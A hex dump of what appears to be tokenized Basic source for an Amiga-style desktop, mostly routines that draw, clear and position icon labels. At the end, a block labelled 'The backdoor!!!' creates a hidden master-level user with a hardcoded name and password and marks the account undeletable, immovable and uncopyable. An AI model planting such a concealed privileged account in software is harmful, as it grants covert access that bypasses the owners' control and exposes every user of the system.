|00004610| 20 2a 54 78 5c 74 65 5f | 57 69 64 74 68 00 00 20 | *Tx\te_|Width.. |
|00004620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 0b | | ..|
|00004630| 20 62 6f 78 77 69 64 74 | 68 3e 3d 23 49 63 6f 6e | boxwidt|h>=#Icon|
|00004640| 5f 43 6f 6c 57 69 64 74 | 68 00 20 20 20 20 20 20 |_ColWidt|h. |
|00004650| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 bb 00 20 | | ... |
|00004660| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004670| 20 74 78 74 24 3d dc 81 | 28 74 78 74 24 2c dc 8f | txt$=..|(txt$,..|
|00004680| 28 74 78 74 24 29 2d 31 | 29 00 20 20 20 20 20 20 |(txt$)-1|). |
|00004690| 20 20 20 20 20 20 20 20 | 20 20 20 20 ff 6f 20 2a | | .o *|
|000046a0| 52 61 73 74 2c 74 78 74 | 24 2c dc 8f 28 74 78 74 |Rast,txt|$,..(txt|
|000046b0| 24 29 2c 2a 54 78 00 20 | 20 20 20 20 20 20 20 20 |$),*Tx. | |
|000046c0| 20 20 20 20 20 20 20 20 | 20 62 6f 78 77 69 64 74 | | boxwidt|
|000046d0| 68 20 20 2e 6c 20 3d 20 | 2a 54 78 5c 74 65 5f 57 |h .l = |*Tx\te_W|
|000046e0| 69 64 74 68 00 20 20 20 | 20 20 20 20 20 20 20 20 |idth. | |
|000046f0| 20 20 20 20 20 20 20 80 | bc 20 62 6f 78 77 69 64 | .|. boxwid|
|00004700| 74 68 3c 28 23 49 63 6f | 6e 5f 43 6f 6c 57 69 64 |th<(#Ico|n_ColWid|
|00004710| 74 68 2d 34 29 00 20 20 | 20 20 20 20 20 20 20 20 |th-4). | |
|00004720| 20 20 20 20 20 20 20 20 | 74 78 74 24 3d dc 81 28 | |txt$=..(|
|00004730| 74 78 74 24 2c dc 8f 28 | 74 78 74 24 29 2d 32 29 |txt$,..(|txt$)-2)|
|00004740| 2b 22 2e 2e 22 00 20 20 | 20 20 20 20 20 20 20 20 |+"..". | |
|00004750| 20 20 20 20 20 20 20 20 | ff 6f 20 2a 52 61 73 74 | |.o *Rast|
|00004760| 2c 74 78 74 24 2c dc 8f | 28 74 78 74 24 29 2c 2a |,txt$,..|(txt$),*|
|00004770| 54 78 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |Tx. | |
|00004780| 20 20 80 c0 00 00 20 20 | 20 20 20 20 20 20 20 20 | .... | |
|00004790| 20 20 20 20 20 62 6f 78 | 77 69 64 74 68 20 3d 2a | box|width =*|
|000047a0| 54 78 5c 74 65 5f 57 69 | 64 74 68 2b 32 00 20 20 |Tx\te_Wi|dth+2. |
|000047b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 62 6f 78 | | box|
|000047c0| 68 65 69 67 68 74 3d 2a | 54 78 5c 74 65 5f 48 65 |height=*|Tx\te_He|
|000047d0| 69 67 68 74 2b 32 00 20 | 20 20 20 20 20 20 20 20 |ight+2. | |
|000047e0| 20 20 20 20 20 20 78 70 | 2d 28 62 6f 78 77 69 64 | xp|-(boxwid|
|000047f0| 74 68 2f 32 29 2d 31 00 | 20 20 20 20 20 20 20 20 |th/2)-1.| |
|00004800| 20 20 20 20 20 20 20 80 | 0b 20 78 70 3c 30 20 80 | .|. xp<0 .|
|00004810| 21 20 78 70 3d 30 00 00 | 20 20 20 20 20 20 20 20 |! xp=0..| |
|00004820| 20 20 20 20 20 20 20 44 | 72 61 77 42 6f 78 7b 78 | D|rawBox{x|
|00004830| 70 2c 79 70 2c 62 6f 78 | 77 69 64 74 68 2c 62 6f |p,yp,box|width,bo|
|00004840| 78 68 65 69 67 68 74 2c | 31 7d 00 00 20 20 20 20 |xheight,|1}.. |
|00004850| 20 20 20 20 20 20 20 20 | 20 20 20 57 69 6e 4c 65 | | WinLe|
|00004860| 66 74 2e 6c 20 3d 20 2a | 57 61 6e 5c 42 6f 72 64 |ft.l = *|Wan\Bord|
|00004870| 65 72 4c 65 66 74 00 20 | 20 20 20 20 20 20 20 20 |erLeft. | |
|00004880| 20 20 20 20 20 20 57 69 | 6e 54 6f 70 20 2e 6c 20 | Wi|nTop .l |
|00004890| 3d 20 2a 57 61 6e 5c 42 | 6f 72 64 65 72 54 6f 70 |= *Wan\B|orderTop|
|000048a0| 00 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|000048b0| 20 61 79 3d 79 70 2b 31 | 00 20 20 20 20 20 20 20 | ay=yp+1|. |
|000048c0| 20 20 20 20 20 20 20 20 | 61 78 20 3d 20 28 62 6f | |ax = (bo|
|000048d0| 78 77 69 64 74 68 2f 32 | 29 20 2d 20 28 2a 54 78 |xwidth/2|) - (*Tx|
|000048e0| 5c 74 65 5f 57 69 64 74 | 68 2f 32 29 00 20 20 20 |\te_Widt|h/2). |
|000048f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 61 78 2b 78 | | ax+x|
|00004900| 70 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p. | |
|00004910| 20 c5 1c 20 70 65 6e 61 | 2c 70 65 6e 62 00 20 20 | .. pena|,penb. |
|00004920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 c5 10 20 | | .. |
|00004930| 61 78 2c 61 79 00 20 20 | 20 20 20 20 20 20 20 20 |ax,ay. | |
|00004940| 20 20 20 20 20 dd 82 20 | 74 78 74 24 00 20 20 20 | .. |txt$. |
|00004950| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00004960| 20 20 20 20 20 20 20 20 | 80 02 20 80 08 00 00 00 | |.. .....|
|00004970| 00 20 20 20 20 80 08 20 | 43 6c 65 61 72 4c 61 62 |. .. |ClearLab|
|00004980| 65 6c 7b 78 70 2e 6c 2c | 79 70 2e 6c 2c 74 78 74 |el{xp.l,|yp.l,txt|
|00004990| 24 7d 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |$}. | |
|000049a0| 20 80 15 20 2a 43 6f 72 | 65 2e 44 65 73 6b 74 6f | .. *Cor|e.Deskto|
|000049b0| 70 00 20 20 20 20 20 20 | 20 20 20 20 20 20 80 0b |p. | ..|
|000049c0| 20 dc 8f 28 74 78 74 24 | 29 3e 30 00 20 20 20 20 | ..(txt$|)>0. |
|000049d0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 57 61 6e 2e | | *Wan.|
|000049e0| 57 69 6e 64 6f 77 20 3d | 20 da 02 2e 6c 28 80 b8 |Window =| ...l(..|
|000049f0| 20 c5 01 28 80 d1 20 c5 | 01 29 29 00 20 20 20 20 | ..(.. .|.)). |
|00004a00| 20 20 20 20 20 20 20 20 | 20 20 20 2a 52 61 73 74 | | *Rast|
|00004a10| 2e 52 61 73 74 50 6f 72 | 74 20 3d 20 2a 57 61 6e |.RastPor|t = *Wan|
|00004a20| 5c 52 50 6f 72 74 00 20 | 20 20 20 20 20 20 20 20 |\RPort. | |
|00004a30| 20 20 20 20 20 20 80 33 | 2e 54 65 78 74 45 78 74 | .3|.TextExt|
|00004a40| 65 6e 74 20 54 78 74 6c | 2c 2a 54 78 00 00 20 20 |ent Txtl|,*Tx.. |
|00004a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 54 78 | | *Tx|
|00004a60| 20 3d 20 26 54 78 74 6c | 00 20 20 20 20 20 20 20 | = &Txtl|. |
|00004a70| 20 20 20 20 20 20 20 20 | ff 6f 20 2a 52 61 73 74 | |.o *Rast|
|00004a80| 2c 74 78 74 24 2c dc 8f | 28 74 78 74 24 29 2c 2a |,txt$,..|(txt$),*|
|00004a90| 54 78 00 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |Tx.. | |
|00004aa0| 20 20 20 62 6f 78 77 69 | 64 74 68 20 20 2e 6c 20 | boxwi|dth .l |
|00004ab0| 3d 20 2a 54 78 5c 74 65 | 5f 57 69 64 74 68 00 00 |= *Tx\te|_Width..|
|00004ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00004ad0| 0b 20 62 6f 78 77 69 64 | 74 68 3e 3d 23 49 63 6f |. boxwid|th>=#Ico|
|00004ae0| 6e 5f 43 6f 6c 57 69 64 | 74 68 00 20 20 20 20 20 |n_ColWid|th. |
|00004af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 bb 00 | | ...|
|00004b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004b10| 20 20 74 78 74 24 3d dc | 81 28 74 78 74 24 2c dc | txt$=.|.(txt$,.|
|00004b20| 8f 28 74 78 74 24 29 2d | 31 29 00 20 20 20 20 20 |.(txt$)-|1). |
|00004b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 ff 6f 20 | | .o |
|00004b40| 2a 52 61 73 74 2c 74 78 | 74 24 2c dc 8f 28 74 78 |*Rast,tx|t$,..(tx|
|00004b50| 74 24 29 2c 2a 54 78 00 | 20 20 20 20 20 20 20 20 |t$),*Tx.| |
|00004b60| 20 20 20 20 20 20 20 20 | 20 20 62 6f 78 77 69 64 | | boxwid|
|00004b70| 74 68 20 20 2e 6c 20 3d | 20 2a 54 78 5c 74 65 5f |th .l =| *Tx\te_|
|00004b80| 57 69 64 74 68 00 20 20 | 20 20 20 20 20 20 20 20 |Width. | |
|00004b90| 20 20 20 20 20 20 20 20 | 80 bc 20 62 6f 78 77 69 | |.. boxwi|
|00004ba0| 64 74 68 3c 28 23 49 63 | 6f 6e 5f 43 6f 6c 57 69 |dth<(#Ic|on_ColWi|
|00004bb0| 64 74 68 2d 34 29 00 20 | 20 20 20 20 20 20 20 20 |dth-4). | |
|00004bc0| 20 20 20 20 20 20 20 20 | 20 74 78 74 24 3d dc 81 | | txt$=..|
|00004bd0| 28 74 78 74 24 2c dc 8f | 28 74 78 74 24 29 2d 32 |(txt$,..|(txt$)-2|
|00004be0| 29 2b 22 2e 2e 22 00 20 | 20 20 20 20 20 20 20 20 |)+"..". | |
|00004bf0| 20 20 20 20 20 20 20 20 | 20 ff 6f 20 2a 52 61 73 | | .o *Ras|
|00004c00| 74 2c 74 78 74 24 2c dc | 8f 28 74 78 74 24 29 2c |t,txt$,.|.(txt$),|
|00004c10| 2a 54 78 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |*Tx. | |
|00004c20| 20 20 20 80 c0 00 00 20 | 20 20 20 20 20 20 20 20 | .... | |
|00004c30| 20 20 20 20 20 20 62 6f | 78 77 69 64 74 68 20 3d | bo|xwidth =|
|00004c40| 2a 54 78 5c 74 65 5f 57 | 69 64 74 68 2b 32 00 20 |*Tx\te_W|idth+2. |
|00004c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 62 6f | | bo|
|00004c60| 78 68 65 69 67 68 74 3d | 2a 54 78 5c 74 65 5f 48 |xheight=|*Tx\te_H|
|00004c70| 65 69 67 68 74 2b 32 00 | 20 20 20 20 20 20 20 20 |eight+2.| |
|00004c80| 20 20 20 20 20 20 20 78 | 70 2d 28 62 6f 78 77 69 | x|p-(boxwi|
|00004c90| 64 74 68 2f 32 29 2d 31 | 00 20 20 20 20 20 20 20 |dth/2)-1|. |
|00004ca0| 20 20 20 20 20 20 20 20 | 80 0b 20 78 70 3c 30 20 | |.. xp<0 |
|00004cb0| 80 21 20 78 70 3d 30 00 | 00 20 20 20 20 20 20 20 |.! xp=0.|. |
|00004cc0| 20 20 20 20 20 20 20 20 | ff 35 20 2a 52 61 73 74 | |.5 *Rast|
|00004cd0| 2c 2a 43 6f 72 65 5c 42 | 67 43 6f 6c 6f 72 00 20 |,*Core\B|gColor. |
|00004ce0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 ff 2f | | ./|
|00004cf0| 20 2a 52 61 73 74 2c 78 | 70 2c 79 70 2c 28 78 70 | *Rast,x|p,yp,(xp|
|00004d00| 2b 62 6f 78 77 69 64 74 | 68 2d 31 29 2c 28 79 70 |+boxwidt|h-1),(yp|
|00004d10| 2b 62 6f 78 68 65 69 67 | 68 74 2d 31 29 00 20 20 |+boxheig|ht-1). |
|00004d20| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00004d30| 20 20 20 20 20 20 20 20 | 20 80 02 20 80 08 00 00 | | .. ....|
|00004d40| 00 00 20 20 20 20 80 08 | 20 43 6c 65 61 72 44 65 |.. ..| ClearDe|
|00004d50| 73 6b 4f 62 6a 65 63 74 | 7b 2a 74 68 69 73 2e 44 |skObject|{*this.D|
|00004d60| 65 73 6b 4f 62 6a 65 63 | 74 7d 00 20 20 20 20 20 |eskObjec|t}. |
|00004d70| 20 20 20 20 20 20 20 20 | 20 80 15 20 2a 43 6f 72 | | .. *Cor|
|00004d80| 65 2e 44 65 73 6b 74 6f | 70 00 20 20 20 20 20 20 |e.Deskto|p. |
|00004d90| 20 20 20 20 20 20 20 20 | 80 0b 20 52 65 6c 69 61 | |.. Relia|
|00004da0| 62 6c 65 5f 44 65 73 6b | 4f 62 6a 65 63 74 7b 2a |ble_Desk|Object{*|
|00004db0| 74 68 69 73 7d 00 20 20 | 20 20 20 20 20 20 20 20 |this}. | |
|00004dc0| 20 20 20 20 20 20 20 80 | 0b 20 52 65 6c 69 61 62 | .|. Reliab|
|00004dd0| 6c 65 5f 49 63 6f 6e 7b | 2a 74 68 69 73 5c 49 63 |le_Icon{|*this\Ic|
|00004de0| 6f 6e 7d 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |on}. | |
|00004df0| 20 20 20 20 20 20 20 20 | 73 68 70 20 20 20 2e 6c | |shp .l|
|00004e00| 20 20 20 20 20 20 20 20 | 3d 20 2a 74 68 69 73 5c | |= *this\|
|00004e10| 49 63 6f 6e 5c 53 68 61 | 70 65 4e 75 6d 62 65 72 |Icon\Sha|peNumber|
|00004e20| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00004e30| 20 20 20 20 20 61 78 20 | 20 20 20 2e 6c 20 20 20 | ax | .l |
|00004e40| 20 20 20 20 20 3d 20 2a | 74 68 69 73 5c 58 70 6f | = *|this\Xpo|
|00004e50| 73 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|00004e60| 20 20 20 20 20 20 61 79 | 20 20 20 20 2e 6c 20 20 | ay| .l |
|00004e70| 20 20 20 20 20 20 3d 20 | 2a 74 68 69 73 5c 59 70 | = |*this\Yp|
|00004e80| 6f 73 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |os. | |
|00004e90| 20 20 20 20 20 20 20 2a | 52 61 73 74 20 2e 52 61 | *|Rast .Ra|
|00004ea0| 73 74 50 6f 72 74 20 3d | 20 c5 39 28 80 d1 20 c5 |stPort =| .9(.. .|
|00004eb0| 01 29 00 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |.).. | |
|00004ec0| 20 20 20 20 20 20 20 20 | 80 0b 20 61 78 3c c5 2d | |.. ax<.-|
|00004ed0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00004ee0| 20 20 20 20 20 20 20 20 | 80 0b 20 61 79 3c c5 2e | |.. ay<..|
|00004ef0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00004f00| 20 20 20 20 20 20 20 20 | 20 20 20 ff 35 20 20 2a | | .5 *|
|00004f10| 52 61 73 74 2c 2a 43 6f | 72 65 5c 42 67 43 6f 6c |Rast,*Co|re\BgCol|
|00004f20| 6f 72 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |or. | |
|00004f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 ff 2f 20 | | ./ |
|00004f40| 2a 52 61 73 74 2c 61 78 | 2c 61 79 2c 61 78 2b cd |*Rast,ax|,ay,ax+.|
|00004f50| 03 28 73 68 70 29 2d 31 | 2c 61 79 2b cd 04 28 73 |.(shp)-1|,ay+..(s|
|00004f60| 68 70 29 2d 31 00 20 20 | 20 20 20 20 20 20 20 20 |hp)-1. | |
|00004f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004f80| 61 78 2b cd 03 28 73 68 | 70 29 2f 32 00 20 20 20 |ax+..(sh|p)/2. |
|00004f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004fa0| 20 20 20 20 20 20 20 61 | 79 2b cd 04 28 73 68 70 | a|y+..(shp|
|00004fb0| 29 2b 31 00 00 20 20 20 | 20 20 20 20 20 20 20 20 |)+1.. | |
|00004fc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 43 | | C|
|00004fd0| 6c 65 61 72 4c 61 62 65 | 6c 7b 61 78 2c 61 79 2c |learLabe|l{ax,ay,|
|00004fe0| da 02 24 28 26 2a 74 68 | 69 73 5c 54 65 78 74 29 |..$(&*th|is\Text)|
|00004ff0| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|00005000| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|00005010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005020| 80 c0 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00005030| 20 20 20 20 80 c0 00 20 | 20 20 20 20 20 20 20 20 | ... | |
|00005040| 20 20 20 20 20 80 c0 00 | 20 20 20 20 20 20 20 20 | ...| |
|00005050| 20 20 20 20 20 20 80 02 | 20 80 08 00 00 00 00 20 | ..| ...... |
|00005060| 20 20 20 80 08 20 44 72 | 61 77 44 65 73 6b 4f 62 | .. Dr|awDeskOb|
|00005070| 6a 65 63 74 7b 2a 74 68 | 69 73 2e 44 65 73 6b 4f |ject{*th|is.DeskO|
|00005080| 62 6a 65 63 74 7d 00 20 | 20 20 20 20 20 20 20 20 |bject}. | |
|00005090| 20 20 20 20 20 80 15 20 | 2a 43 6f 72 65 2e 44 65 | .. |*Core.De|
|000050a0| 73 6b 74 6f 70 00 20 20 | 20 20 20 20 20 20 20 20 |sktop. | |
|000050b0| 20 20 20 20 80 0b 20 52 | 65 6c 69 61 62 6c 65 5f | .. R|eliable_|
|000050c0| 44 65 73 6b 4f 62 6a 65 | 63 74 7b 2a 74 68 69 73 |DeskObje|ct{*this|
|000050d0| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|000050e0| 20 20 20 80 0b 20 52 65 | 6c 69 61 62 6c 65 5f 49 | .. Re|liable_I|
|000050f0| 63 6f 6e 7b 2a 74 68 69 | 73 5c 49 63 6f 6e 7d 00 |con{*thi|s\Icon}.|
|00005100| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005110| 20 20 20 20 73 68 70 20 | 20 20 2e 6c 20 20 20 20 | shp | .l |
|00005120| 20 20 20 20 3d 20 2a 74 | 68 69 73 5c 49 63 6f 6e | = *t|his\Icon|
|00005130| 5c 53 68 61 70 65 4e 75 | 6d 62 65 72 00 20 20 20 |\ShapeNu|mber. |
|00005140| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005150| 20 61 78 20 20 20 20 2e | 6c 20 20 20 20 20 20 20 | ax .|l |
|00005160| 20 3d 20 2a 74 68 69 73 | 5c 58 70 6f 73 00 20 20 | = *this|\Xpos. |
|00005170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005180| 20 20 61 79 20 20 20 20 | 2e 6c 20 20 20 20 20 20 | ay |.l |
|00005190| 20 20 3d 20 2a 74 68 69 | 73 5c 59 70 6f 73 00 20 | = *thi|s\Ypos. |
|000051a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000051b0| 20 20 20 2a 52 61 73 74 | 20 2e 52 61 73 74 50 6f | *Rast| .RastPo|
|000051c0| 72 74 20 3d 20 c5 39 28 | 80 d1 20 c5 01 29 00 00 |rt = .9(|.. ..)..|
|000051d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000051e0| 20 20 20 20 80 0b 20 61 | 78 3c c5 2d 00 20 20 20 | .. a|x<.-. |
|000051f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005200| 20 20 20 20 80 0b 20 61 | 79 3c c5 2e 00 20 20 20 | .. a|y<... |
|00005210| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005220| 20 20 20 20 20 20 20 ff | 35 20 20 2a 52 61 73 74 | .|5 *Rast|
|00005230| 2c 30 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |,0. | |
|00005240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 ff 2f 20 | | ./ |
|00005250| 2a 52 61 73 74 2c 61 78 | 2c 61 79 2c 61 78 2b cd |*Rast,ax|,ay,ax+.|
|00005260| 03 28 73 68 70 29 2d 31 | 2c 61 79 2b cd 04 28 73 |.(shp)-1|,ay+..(s|
|00005270| 68 70 29 2d 31 00 20 20 | 20 20 20 20 20 20 20 20 |hp)-1. | |
|00005280| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005290| c5 3e 20 73 68 70 2c 61 | 78 2c 61 79 00 20 20 20 |.> shp,a|x,ay. |
|000052a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000052b0| 20 20 20 20 20 20 20 61 | 78 2b cd 03 28 73 68 70 | a|x+..(shp|
|000052c0| 29 2f 32 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |)/2. | |
|000052d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 61 79 | | ay|
|000052e0| 2b cd 04 28 73 68 70 29 | 2b 31 00 00 20 20 20 20 |+..(shp)|+1.. |
|000052f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005300| 20 20 20 20 20 20 80 0b | 20 2a 74 68 69 73 5c 53 | ..| *this\S|
|00005310| 65 6c 65 63 74 65 64 3d | bc 0f 00 20 20 20 20 20 |elected=|... |
|00005320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005330| 20 20 20 20 20 20 20 20 | 44 72 61 77 4c 61 62 65 | |DrawLabe|
|00005340| 6c 7b 61 78 2c 61 79 2c | da 02 24 28 26 2a 74 68 |l{ax,ay,|..$(&*th|
|00005350| 69 73 5c 54 65 78 74 29 | 2c 31 2c 32 7d 00 20 20 |is\Text)|,1,2}. |
|00005360| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005370| 20 20 20 20 20 20 20 20 | 80 22 00 20 20 20 20 20 | |.". |
|00005380| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005390| 20 20 20 20 20 20 20 20 | 44 72 61 77 4c 61 62 65 | |DrawLabe|
|000053a0| 6c 7b 61 78 2c 61 79 2c | da 02 24 28 26 2a 74 68 |l{ax,ay,|..$(&*th|
|000053b0| 69 73 5c 54 65 78 74 29 | 2c 32 2c 31 35 7d 00 20 |is\Text)|,2,15}. |
|000053c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000053d0| 20 20 20 20 20 20 20 20 | 20 80 c0 00 20 20 20 20 | | ... |
|000053e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000053f0| 20 20 20 80 c0 00 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00005400| 20 20 20 20 20 20 20 20 | 20 20 80 c0 00 20 20 20 | | ... |
|00005410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c0 | | ..|
|00005420| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |. | .|
|00005430| c0 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00005440| 80 02 20 80 08 00 00 00 | 00 20 20 80 09 2e 6c 20 |.. .....|. ...l |
|00005450| 44 65 73 6b 50 6f 73 58 | 7b 70 6f 73 2e 6c 7d 00 |DeskPosX|{pos.l}.|
|00005460| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 15 20 | | .. |
|00005470| 2a 53 63 72 6e 2e 53 63 | 72 65 65 6e 00 20 20 20 |*Scrn.Sc|reen. |
|00005480| 20 20 20 20 20 20 20 20 | 20 20 52 6f 77 2e 6c 20 | | Row.l |
|00005490| 3d 20 28 c5 2e 20 2f 20 | 23 49 63 6f 6e 5f 52 6f |= (.. / |#Icon_Ro|
|000054a0| 77 48 65 69 67 68 74 29 | 00 00 20 20 20 20 20 20 |wHeight)|.. |
|000054b0| 20 20 20 20 20 20 20 78 | 70 6f 73 2e 6c 20 3d 20 | x|pos.l = |
|000054c0| 28 70 6f 73 2f 52 6f 77 | 29 00 20 20 20 20 20 20 |(pos/Row|). |
|000054d0| 20 20 20 20 20 20 20 78 | 70 6f 73 2a 23 49 63 6f | x|pos*#Ico|
|000054e0| 6e 5f 43 6f 6c 57 69 64 | 74 68 00 20 20 20 20 20 |n_ColWid|th. |
|000054f0| 20 20 20 20 20 20 20 20 | 80 09 20 80 07 20 78 70 | |.. .. xp|
|00005500| 6f 73 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |os. | |
|00005510| 80 02 20 80 09 00 00 20 | 20 80 09 2e 6c 20 44 65 |.. .... | ...l De|
|00005520| 73 6b 50 6f 73 59 7b 70 | 6f 73 2e 6c 7d 00 20 20 |skPosY{p|os.l}. |
|00005530| 20 20 20 20 20 20 20 20 | 20 20 20 80 15 20 2a 53 | | .. *S|
|00005540| 63 72 6e 2e 53 63 72 65 | 65 6e 00 20 20 20 20 20 |crn.Scre|en. |
|00005550| 20 20 20 20 20 20 20 20 | 52 6f 77 2e 6c 20 3d 20 | |Row.l = |
|00005560| 28 c5 2e 2f 23 49 63 6f | 6e 5f 52 6f 77 48 65 69 |(../#Ico|n_RowHei|
|00005570| 67 68 74 29 00 20 20 20 | 20 20 20 20 20 20 20 20 |ght). | |
|00005580| 20 20 43 6f 6c 2e 6c 20 | 3d 20 28 c5 2d 2f 23 49 | Col.l |= (.-/#I|
|00005590| 63 6f 6e 5f 43 6f 6c 57 | 69 64 74 68 29 2d 31 00 |con_ColW|idth)-1.|
|000055a0| 00 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 61 |.. | a|
|000055b0| 2e 6c 20 3d 20 70 6f 73 | 2f 52 6f 77 00 20 20 20 |.l = pos|/Row. |
|000055c0| 20 20 20 20 20 20 20 20 | 20 20 61 2e 6c 20 2a 20 | | a.l * |
|000055d0| 52 6f 77 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |Row. | |
|000055e0| 20 62 2e 6c 20 3d 20 70 | 6f 73 2d 61 00 20 20 20 | b.l = p|os-a. |
|000055f0| 20 20 20 20 20 20 20 20 | 20 20 79 70 6f 73 3d 20 | | ypos= |
|00005600| 62 2a 23 49 63 6f 6e 5f | 52 6f 77 48 65 69 67 68 |b*#Icon_|RowHeigh|
|00005610| 74 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 |t. | .|
|00005620| 09 20 80 07 20 79 70 6f | 73 00 20 20 20 20 20 20 |. .. ypo|s. |
|00005630| 20 20 20 20 20 20 20 80 | 02 20 80 09 00 00 00 20 | .|. ..... |
|00005640| 20 20 3b 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | ;=====|========|
|00005650| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00005660| 3d 3d 3d 3d 3d 3d 3d 3d | 00 20 20 20 3b 54 68 65 |========|. ;The|
|00005670| 20 62 61 63 6b 64 6f 6f | 72 21 21 21 00 20 20 20 | backdoo|r!!!. |
|00005680| 3b 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |;=======|========|
|00005690| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000056a0| 3d 3d 3d 3d 3d 3d 00 00 | 20 20 20 2a 53 65 63 72 |======..| *Secr|
|000056b0| 65 74 2e 55 73 65 72 20 | 3d 20 43 72 65 61 74 65 |et.User |= Create|
|000056c0| 55 73 65 72 7b 22 6a 6f | 6e 6c 62 22 2c 22 38 38 |User{"jo|nlb","88|
|000056d0| 75 70 73 62 65 22 2c 23 | 55 73 65 72 5f 4d 61 73 |upsbe",#|User_Mas|
|000056e0| 74 65 72 7d 00 20 20 20 | 80 0b 20 52 65 6c 69 61 |ter}. |.. Relia|
|000056f0| 62 6c 65 5f 55 73 65 72 | 7b 2a 53 65 63 72 65 74 |ble_User|{*Secret|
|00005700| 7d 00 20 20 20 20 20 20 | 41 64 64 55 73 65 72 7b |}. |AddUser{|
|00005710| 2a 53 65 63 72 65 74 7d | 00 20 20 20 20 20 20 2a |*Secret}|. *|
|00005720| 53 65 63 72 65 74 5c 43 | 61 6e 44 65 6c 65 74 65 |Secret\C|anDelete|
|00005730| 20 3d bc 0e 00 20 20 20 | 20 20 20 2a 53 65 63 72 | =... | *Secr|
|00005740| 65 74 5c 43 61 6e 43 6f | 70 79 20 20 20 3d bc 0e |et\CanCo|py =..|
|00005750| 00 20 20 20 20 20 20 2a | 53 65 63 72 65 74 5c 43 |. *|Secret\C|
|00005760| 61 6e 4d 6f 76 65 20 20 | 20 3d bc 0e 00 20 20 20 |anMove | =... |
|00005770| 80 c0 00 00 00 | |..... | |
+--------+-------------------------+-------------------------+--------+--------+